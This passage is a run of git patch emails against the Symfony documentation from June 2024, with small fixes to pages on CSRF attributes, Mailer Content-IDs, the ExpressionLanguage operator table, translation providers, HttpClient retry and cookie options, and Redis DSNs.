 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 77aad6bf090..11c7b2fc267 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -233,7 +233,7 @@ object evaluated to the id::
     use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
     // ...
 
-    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].id'), tokenKey: 'token')]
+    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].getId()'), tokenKey: 'token')]
     public function delete(Post $post): Response
     {
         // ... do something, like deleting an object

From 1f4115ea993cf1e31f11dc96de64b0ec3da85c47 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 7 Jun 2024 08:53:11 +0200
Subject: [PATCH 4779/5766] fix markup

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 1c86a111084..6a5790fd48f 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1209,7 +1209,7 @@ Option                          Description
 
 .. versionadded:: 7.1
 
-    The `cdata_wrapping_pattern` option was introduced in Symfony 7.1.
+    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
 
 Example with custom ``context``::
 

From 468a9acf34c555cd36979e3be3ea0d010854717b Mon Sep 17 00:00:00 2001
From: Andrej Rypo <xrypak@gmail.com>
Date: Fri, 7 Jun 2024 09:36:13 +0200
Subject: [PATCH 4780/5766] [Mailer] Fixed and clarified custom Content-ID
 feature documentation

---
 mailer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 02c09295319..026b19dcae4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -658,16 +658,18 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
+The actual Content-ID value present in the e-mail source will be randomly generated by Symfony.
+
 You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
 method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
-    $part->setContentId('footer-signature');
+    $part->setContentId('footer-signature@my-app');
 
     $email = (new Email())
         // ...
         ->addPart($part->asInline())
-        ->html('... <img src="cid:footer-signature"> ...')
+        ->html('... <img src="cid:footer-signature@my-app"> ...')
     ;
 
 .. versionadded:: 6.1

From f6b21f47c48f29dd6c639008eded2116b9649440 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Sat, 8 Jun 2024 12:27:41 +0000
Subject: [PATCH 4781/5766] :art: Fix precedence table rendering

Use rst grid to get the correct layout. `list-table` directive is not supported.
---
 reference/formats/expression_language.rst | 52 ++++++++++++++---------
 1 file changed, 32 insertions(+), 20 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 1179d78a43c..7918d96dc60 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -436,26 +436,38 @@ parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
 The following table summarizes the operators and their associativity from the
 **highest to the lowest precedence**:
 
-=======================================================  =============
-Operators                                                associativity
-=======================================================  =============
-``-``, ``+`` (unary operators that add the number sign)  none
-``**``                                                   right
-``*``, ``/``, ``%``                                      left
-``not``, ``!``                                           none
-``~``                                                    left
-``+``, ``-``                                             left
-``..``                                                   left
-``==``, ``===``, ``!=``, ``!==``, \                      left
-``<``, ``>``, ``>=``, ``<=``, \
-``not in``, ``in``, ``contains``, \
-``starts with``, ``ends with``, ``matches``
-``&``                                                    left
-``^``                                                    left
-``|``                                                    left
-``and``, ``&&``                                          left
-``or``, ``||``                                           left
-=======================================================  =============
++----------------------------------------------------------+---------------+
+| Operators                                                | Associativity |
++==========================================================+===============+
+| ``-`` , ``+`` (unary operators that add the number sign) | none          |
++----------------------------------------------------------+---------------+
+| ``**``                                                   | right         |
++----------------------------------------------------------+---------------+
+| ``*``, ``/``, ``%``                                      | left          |
++----------------------------------------------------------+---------------+
+| ``not``, ``!``                                           | none          |
++----------------------------------------------------------+---------------+
+| ``~``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``+``, ``-``                                             | left          |
++----------------------------------------------------------+---------------+
+| ``..``                                                   | left          |
++----------------------------------------------------------+---------------+
+| ``==``, ``===``, ``!=``, ``!==``,                        | left          |
+| ``<``, ``>``, ``>=``, ``<=``,                            |               |
+| ``not in``, ``in``, ``contains``,                        |               |
+| ``starts with``, ``ends with``, ``matches``              |               |
++----------------------------------------------------------+---------------+
+| ``&``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``^``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``|``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``and``, ``&&``                                          | left          |
++----------------------------------------------------------+---------------+
+| ``or``, ``||``                                           | left          |
++----------------------------------------------------------+---------------+
 
 Built-in Objects and Variables
 ------------------------------

From 928e2ced75aec525f2555b43ea6bfcfd7992e010 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jun 2024 08:42:50 +0200
Subject: [PATCH 4782/5766] [Mailer] Minor tweaks

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b767a45d562..dca0dde5aad 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -667,8 +667,8 @@ file or stream::
 Use the ``asInline()`` method to embed the content instead of attaching it.
 
 The second optional argument of both methods is the image name ("Content-ID" in
-the MIME standard). Its value is an arbitrary string used later to reference the
-images inside the HTML contents::
+the MIME standard). Its value is an arbitrary string that must be unique in each
+email message and is used later to reference the images inside the HTML contents::
 
     $email = (new Email())
         // ...
@@ -683,11 +683,11 @@ images inside the HTML contents::
     ;
 
 The actual Content-ID value present in the e-mail source will be randomly generated by Symfony.
-
 You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
 method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
+    // according to the spec, the Content-ID value must include at least one '@' character
     $part->setContentId('footer-signature@my-app');
 
     $email = (new Email())

From 9472a546a4168e35e75fa7f03638059ea8448aad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jun 2024 08:46:24 +0200
Subject: [PATCH 4783/5766] Updated the code example

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index a51f6034145..78b125cd391 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -207,7 +207,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
         public function __isset($id): bool
         {
-            return array_key_exists($id, $this->children);
+            return isset($this->children[$id]);
         }
     }
 

From 4e2c66de2a9d55be2a2e9174493862e684ce3922 Mon Sep 17 00:00:00 2001
From: svdv22 <svdv@posteo.net>
Date: Tue, 11 Jun 2024 16:33:46 +0200
Subject: [PATCH 4784/5766] Update messenger.rst

shouldFlush-method in documentation wasn't updatet
---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8cce1d74266..4c43b195377 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2644,7 +2644,7 @@ provided in order to ease the declaration of these special handlers::
         // of the trait to define your own batch size...
         private function shouldFlush(): bool
         {
-            return 100 <= \count($this->jobs);
+            return $this->getBatchSize() <= \count($this->jobs);
         }
 
         // ... or redefine the `getBatchSize()` method if the default

From 191180692ebbbc647b943b0b43db1df8a5dbed73 Mon Sep 17 00:00:00 2001
From: Andrei Karpilin <karpilin@gmail.com>
Date: Tue, 11 Jun 2024 14:31:38 +0100
Subject: [PATCH 4785/5766] Fix indentation in upgrade_major.rst

---
 setup/upgrade_major.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f75762604ca..7aa0d90c3b7 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -171,8 +171,8 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
       "extra": {
           "symfony": {
               "allow-contrib": false,
-    -       "require": "5.4.*"
-    +       "require": "6.0.*"
+    -         "require": "5.4.*"
+    +         "require": "6.0.*"
           }
       }
 

From 535dc3c145ba7b94e6c671c5ceb50f8362801a20 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 15:51:14 +0200
Subject: [PATCH 4786/5766] Fix a WSL command in the Symfony Server doc

---
 setup/symfony_server.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 424b65cf1b5..5fa3e430b1c 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -111,8 +111,14 @@ words, it does everything for you.
     If you are doing this in WSL (Windows Subsystem for Linux), the newly created
     local certificate authority needs to be manually imported in Windows. The file
     is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to
-    do so is to run ``explorer.exe \`wslpath -w $HOME/.symfony5/certs\``` from ``wsl``
-    and double-click the ``default.p12`` file.
+    do so is to run the following command from ``wsl``:
+
+    .. code-block:: terminal
+
+        $ explorer.exe `wslpath -w $HOME/.symfony5/certs`
+
+    In the file explorer window that just opened, double-click on the file
+    called ``default.p12``.
 
 Before browsing your local application with HTTPS instead of HTTP, restart its
 server stopping and starting it again.

From 0624d24867ba378c160c0c56fa3127490ca2b065 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 16:48:16 +0200
Subject: [PATCH 4787/5766] [ExpressionLanguage] Document the null-coalesce
 operator changes

---
 reference/formats/expression_language.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index c7ce82fb751..818870452a5 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -124,11 +124,10 @@ returns the right-hand side. Expressions can chain multiple coalescing operators
 * ``foo[3] ?? 'no'``
 * ``foo.baz ?? foo['baz'] ?? 'no'``
 
-.. note::
+.. versionadded:: 7.2
 
-    The main difference with the `null-coalescing operator in PHP`_ is that
-    ExpressionLanguage will throw an exception when trying to access a
-    non-existent variable.
+    Starting from Symfony 7.2, no exception is thrown when trying to access a
+    non-existent variable. This is the same behavior as the `null-coalescing operator in PHP`_.
 
 .. _component-expression-functions:
 

From eccdbfd6d9174d6eec7b290ac0746d587fdc2d00 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 18:02:21 +0200
Subject: [PATCH 4788/5766] [Security] Remove an unneeded comment

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 8cc8236e2fb..7fa55093839 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -342,7 +342,7 @@ would initialize the passport like this::
             $username = $request->getPayload()->get('username');
             $csrfToken = $request->getPayload()->get('csrf_token');
 
-            // ... validate no parameter is empty
+            // ...
 
             return new Passport(
                 new UserBadge($username),

From e10c0684540e04da3d1b4705433da8b452081d22 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 13 Jun 2024 19:36:02 +0200
Subject: [PATCH 4789/5766] Add link translation provider

---
 translation.rst | 31 +++++++++++++++++--------------
 1 file changed, 17 insertions(+), 14 deletions(-)

diff --git a/translation.rst b/translation.rst
index 412d3aa3c5e..1d43c3b2b1c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -601,13 +601,13 @@ Installing and Configuring a Third Party Provider
 Before pushing/pulling translations to a third-party provider, you must install
 the package that provides integration with that provider:
 
-====================  ===========================================================
-Provider              Install with
-====================  ===========================================================
-Crowdin               ``composer require symfony/crowdin-translation-provider``
-Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
-Lokalise              ``composer require symfony/lokalise-translation-provider``
-====================  ===========================================================
+======================  ===========================================================
+Provider                Install with
+======================  ===========================================================
+`Crowdin`_              ``composer require symfony/crowdin-translation-provider``
+`Loco (localise.biz)`_  ``composer require symfony/loco-translation-provider``
+`Lokalise`_             ``composer require symfony/lokalise-translation-provider``
+======================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
@@ -632,13 +632,13 @@ pull translations via Loco. The *only* part you need to change is the
 
 This table shows the full list of available DSN formats for each provider:
 
-=====================  ==============================================================
-Provider               DSN
-=====================  ==============================================================
-Crowdin                ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
-Loco (localise.biz)    ``loco://API_KEY@default``
-Lokalise               ``lokalise://PROJECT_ID:API_KEY@default``
-=====================  ==============================================================
+======================  ==============================================================
+Provider                DSN
+======================  ==============================================================
+`Crowdin`_               ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
+`Loco (localise.biz)`_  ``loco://API_KEY@default``
+`Lokalise`_             ``lokalise://PROJECT_ID:API_KEY@default``
+======================  ==============================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:
@@ -1476,3 +1476,6 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
 .. _`Symfony Demo`: https://github.com/symfony/demo
+.. _`Crowdin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Crowdin/README.md
+.. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md
+.. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md

From 00854911226a5f2ec7299e0e0345fcaacba110ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 17:34:08 +0200
Subject: [PATCH 4790/5766] [Translation] Document `lint:translations` command

---
 translation.rst | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 891f00845cb..0fbd155cfd7 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1343,7 +1343,7 @@ Symfony processes all the application translation files as part of the process
 that compiles the application code before executing it. If there's an error in
 any translation file, you'll see an error message explaining the problem.
 
-If you prefer, you can also validate the contents of any YAML and XLIFF
+If you prefer, you can also validate the syntax of any YAML and XLIFF
 translation file using the ``lint:yaml`` and ``lint:xliff`` commands:
 
 .. code-block:: terminal
@@ -1384,6 +1384,22 @@ adapted to the format required by GitHub, but you can force that format too:
 
         $ php vendor/bin/yaml-lint translations/
 
+The ``lint:yaml`` and ``lint:xliff`` commands validate the YAML and XML syntax
+of the translation files, but not their contents. Use the following command
+to check that the translation contents are also correct:
+
+    .. code-block:: terminal
+
+        # checks the contents of all the translation catalogues in all locales
+        $ php bin/console lint:translations
+
+        # checks the contents of the translation catalogues for Italian (it) and Japanese (ja) locales
+        $ php bin/console lint:translations --locales=it --locales=ja
+
+.. versionadded:: 7.2
+
+    The ``lint:translations`` command was introduced in Symfony 7.2.
+
 Pseudo-localization translator
 ------------------------------
 

From e751fe569cbf9044fb9ff15b80212055edb99491 Mon Sep 17 00:00:00 2001
From: Davi Alexandre <davi@davialexandre.com.br>
Date: Fri, 14 Jun 2024 07:40:26 -0300
Subject: [PATCH 4791/5766] Fix typo in messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4c43b195377..03e09b8260a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -3424,7 +3424,7 @@ You can also restrict the list to a specific bus by providing its name as an arg
 Redispatching a Message
 -----------------------
 
-It you want to redispatch a message (using the same transport and envelope), create
+If you want to redispatch a message (using the same transport and envelope), create
 a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
 it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
 

From 9bea798f5c23ffbc17fa78e45aaa9e0bc67342cd Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Sat, 15 Jun 2024 16:17:15 +0300
Subject: [PATCH 4792/5766] Update access_token.rst

---
 security/access_token.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index df02f3da6bc..c798befbd30 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -78,6 +78,7 @@ This handler must implement
     namespace App\Security;
 
     use App\Repository\AccessTokenRepository;
+    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
     use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 

From 29bdb1612d2a3d7387cad50228cbe226623ea4ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 10:36:30 +0200
Subject: [PATCH 4793/5766] Update the version constraints

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5cf3d2f90ab..d8196e71b7b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.*" --webapp
+    $ symfony new my_project_directory --version="7.2.x-dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.*"
+    $ symfony new my_project_directory --version="7.2.x-dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From fd7b8eac82104bb10eb8ecc8791d3d7dd75a2b34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 13:26:52 +0200
Subject: [PATCH 4794/5766] Add the versionadded directive

---
 security/access_token.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index d0ed785ad31..8661a226a73 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -709,6 +709,10 @@ create your own User from the claims, you must
 Using CAS 2.0
 -------------
 
+.. versionadded:: 7.1
+
+    The support for CAS token handlers was introduced in Symfony 7.1.
+
 `Central Authentication Service (CAS)`_ is an enterprise multilingual single
 sign-on solution and identity provider for the web and attempts to be a
 comprehensive platform for your authentication and authorization needs.
@@ -724,7 +728,7 @@ haven't installed it yet, run this command:
 
     $ composer require symfony/http-client
 
-You can configure a ``cas`` ``token_handler``:
+You can configure a ``cas`` token handler as follows:
 
 .. configuration-block::
 

From 570436375f7d55f4bbb634f4de9452358d55544c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 13:49:09 +0200
Subject: [PATCH 4795/5766] [HttpClient] Reorganize the docs about the
 retry_failed option

---
 reference/configuration/framework.rst | 95 +++++++++++++++++----------
 1 file changed, 60 insertions(+), 35 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ace44982dbd..c053fe3503f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -887,41 +887,6 @@ If you use for example
 as the type and name of an argument, autowiring will inject the ``my_api.client``
 service into your autowired classes.
 
-.. _reference-http-client-retry-failed:
-
-By enabling the optional ``retry_failed`` configuration, the HTTP client service
-will automatically retry failed HTTP requests.
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            # ...
-            default_options:
-                retry_failed:
-                    # retry_strategy: app.custom_strategy
-                    http_codes:
-                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                        429: true            # retry all responses with 429 status code
-                        500: ['GET', 'HEAD']
-                    max_retries: 2
-                    delay: 1000
-                    multiplier: 3
-                    max_delay: 5000
-                    jitter: 0.3
-
-            scoped_clients:
-                my_api.client:
-                    # ...
-                    retry_failed:
-                        max_retries: 4
-
-.. versionadded:: 5.2
-
-    The ``retry_failed`` option was introduced in Symfony 5.2.
-
 auth_basic
 ..........
 
@@ -1024,6 +989,8 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+.. _reference-http-client-retry-delay:
+
 delay
 .....
 
@@ -1055,6 +1022,8 @@ headers
 An associative array of the HTTP headers added before making the request. This
 value must use the format ``['header-name' => 'value0, value1, ...']``.
 
+.. _reference-http-client-retry-http-codes:
+
 http_codes
 ..........
 
@@ -1074,6 +1043,8 @@ http_version
 The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
 to let Symfony select the best version automatically.
 
+.. _reference-http-client-retry-jitter:
+
 jitter
 ......
 
@@ -1105,6 +1076,8 @@ local_pk
 The path of a file that contains the `PEM formatted`_ private key of the
 certificate defined in the ``local_cert`` option.
 
+.. _reference-http-client-retry-max-delay:
+
 max_delay
 .........
 
@@ -1143,6 +1116,8 @@ max_redirects
 The maximum number of redirects to follow. Use ``0`` to not follow any
 redirection.
 
+.. _reference-http-client-retry-max-retries:
+
 max_retries
 ...........
 
@@ -1155,6 +1130,8 @@ max_retries
 The maximum number of retries for failing requests. When the maximum is reached,
 the client returns the last received response.
 
+.. _reference-http-client-retry-multiplier:
+
 multiplier
 ..........
 
@@ -1226,6 +1203,54 @@ client and to make your tests easier.
 The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
+.. _reference-http-client-retry-failed:
+
+retry_failed
+............
+
+**type**: ``array``
+
+.. versionadded:: 5.2
+
+    The ``retry_failed`` option was introduced in Symfony 5.2.
+
+This option configures the behavior of the HTTP client when some request fails,
+including which types of requests to retry and how many times. The behavior is
+defined with the following options:
+
+* :ref:`delay <reference-http-client-retry-delay>`
+* :ref:`http_codes <reference-http-client-retry-http-codes>`
+* :ref:`jitter <reference-http-client-retry-jitter>`
+* :ref:`max_delay <reference-http-client-retry-max-delay>`
+* :ref:`max_retries <reference-http-client-retry-max-retries>`
+* :ref:`multiplier <reference-http-client-retry-multiplier>`
+
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        http_client:
+            # ...
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
+
+            scoped_clients:
+                my_api.client:
+                    # ...
+                    retry_failed:
+                        max_retries: 4
+
 retry_strategy
 ..............
 

From 1aa2513b1e88865105b2a9374f3cf93cb6a28173 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 15:32:35 +0200
Subject: [PATCH 4796/5766] Mention that you need a config/ dir for
 MicroKernelTrait

---
 configuration/micro_kernel_trait.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 8b4869fdea1..4d7494e72f8 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -70,6 +70,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it::
     $response->send();
     $kernel->terminate($request, $response);
 
+.. note::
+
+    In addition to the ``index.php`` file, you'll need to create a directory called
+    ``config/`` in your project (even if it's empty because you define the configuration
+    options inside the ``configureContainer()`` method).
+
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
 

From 0643f16f56ba4e751f0c95f31db23781a615da92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 10:58:20 +0200
Subject: [PATCH 4797/5766] [HttpClient] Fix how cookies are defined and sent

---
 http_client.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 8a344e552a2..bc950a382e8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -693,17 +693,21 @@ cookies automatically.
 
 You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`,
 which integrates seamlessly with the HttpClient component, or manually setting
-the ``Cookie`` HTTP header as follows::
+`the Cookie HTTP request header`_ as follows::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpFoundation\Cookie;
 
     $client = HttpClient::create([
         'headers' => [
-            'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+            // set one cookie as a name=value pair
+            'Cookie' => 'flavor=chocolate',
 
-            // you can also pass the cookie contents as a string
-            'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+            // you can set multiple cookies at once separating them with a ;
+            'Cookie' => 'flavor=chocolate; size=medium',
+
+            // if needed, encode the cookie value to ensure that it contains valid characters
+            'Cookie' => sprintf("%s=%s", 'foo', rawurlencode('...')),
         ],
     ]);
 
@@ -2089,3 +2093,4 @@ test it in a real application::
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
+.. _`the Cookie HTTP request header`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie

From 45d0dc9142fc97dfbf7b61890ab2132def47c94d Mon Sep 17 00:00:00 2001
From: Nikita <95922066+moviex1@users.noreply.github.com>
Date: Mon, 17 Jun 2024 20:00:17 +0300
Subject: [PATCH 4798/5766] Update access_token.rst, removed letter

---
 security/access_token.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index c798befbd30..18f28e9f9f5 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -99,7 +99,7 @@ This handler must implement
 
             // and return a UserBadge object containing the user identifier from the found token
             // (this is the same identifier used in Security configuration; it can be an email,
-            // a UUUID, a username, a database ID, etc.)
+            // a UUID, a username, a database ID, etc.)
             return new UserBadge($accessToken->getUserId());
         }
     }

From a21ac0c8c2c62b5e4a8f9184b704af05303bddd0 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Mon, 17 Jun 2024 21:01:56 +0300
Subject: [PATCH 4799/5766] Update serializer.rst

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fedd41cf08b..bbf31afacf8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -799,7 +799,7 @@ When serializing, you can set a callback to format a specific object property::
 
     // all callback parameters are optional (you can omit the ones you don't use)
     $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
-        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
+        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ATOM) : '';
     };
 
     $defaultContext = [

From 88540e63f48324b24c11730e74fe2b720ed19b08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 16:18:46 +0200
Subject: [PATCH 4800/5766] [Cache] Mention that user/password are not
 supported for Redis DSN

---
 components/cache/adapters/redis_adapter.rst | 31 ++++-----------------
 1 file changed, 6 insertions(+), 25 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 5512b576f0e..590483a19be 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -55,24 +55,18 @@ helper method allows creating and configuring the Redis client class instance us
         'redis://localhost'
     );
 
-The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
-password and a database index. To enable TLS for connections, the scheme ``redis`` must be
-replaced by ``rediss`` (the second ``s`` means "secure").
+The DSN can specify either an IP/host (and an optional port) or a socket path, as
+well as a database index. To enable TLS for connections, the scheme ``redis`` must
+be replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
